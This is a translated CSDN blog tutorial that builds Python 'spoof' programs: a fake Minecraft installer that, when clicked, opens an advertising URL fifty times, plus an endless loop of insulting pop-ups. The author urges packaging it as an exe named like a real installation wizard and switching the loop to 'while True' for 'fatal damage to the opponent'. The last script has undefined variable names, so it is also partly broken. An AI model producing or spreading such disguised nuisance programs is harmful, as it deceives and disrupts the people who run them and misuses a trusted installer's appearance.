Python spoof 2: imitate the installer and random pop-up windows

When downloading software with a computer, the installer will be used, so we can use this to write our spoof program

1. Code writing

1. Window settings

First, let's use tkinter to write a simple installer interface (take Minecraft as an example):

import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()

operation result:

Then we add some buttons and icons:

import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
def click_button():
    # 使用消息对话框控件,showinfo()表示温馨提示
    tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
    
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()

result:

2. Open unlimited websites

Next, is the beginning of the evil business. Although this program cannot really install Minecraft, we can help him open the installation website and let him install it by himself.

Program to open the website:

import webbrowser
for x in range(50):#打开网页的个数
        webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')#网址

If you are ruthless, you can replace 'for x in range(50)' with 'while True', which will cause fatal damage to the opponent

2. Packaging

Finally, it is packaged. For specific methods, please refer to the last part of this article:

Python spoof code 1: "random popup + warning window + shutdown" hodgepodge

One thing to note is that after using pyinstaller to package the exe file, the ico icon should be placed in the same folder as the exe, otherwise an error will be reported. Name the exe file as xxx installation wizard, the effect will be better!

source code:

import tkinter as tk
from tkinter import*
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))

text.pack()
def click_button():
    # 使用消息对话框控件,showinfo()表示温馨提示
    tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
    for x in range(50):
        webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')
    
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()

The picture used: (png format)

To convert ico, you can go to this URL: ICO Converter — Convertio , don’t forget to name it icopic.ico

3. Random malicious pop-ups

The code is shown directly below:

import tkinter.messagebox
import random
import time
words_1=['你是一个','哈哈哈哈哈哈哈哈哈哈哈哈']
words_2=['傻狍子','善良的人','SB','傻子','猪']
while True:
    ch_word1=wordS_1[random.randint(0,1)]
    if ch_word1==words_1[1]:
        tkinter.messagebox.showinfo('info',ch_word1)
        time.sleep(5)#等待的时间
    else:
        ch_word2=word_2[random.randint(0,4)]
        end=ch_word1+ch_word2
        tkinter.messagebox.showinfo('info',end)
        time.sleep(5)
    

The feature of this program is that if it cannot be closed after being packaged into an exe or pyw file, a pop-up window with random information will appear every 5 seconds. Here I write not much random information, and you can expand it freely.

Guess you like

Origin blog.csdn.net/xyx2023/article/details/128950634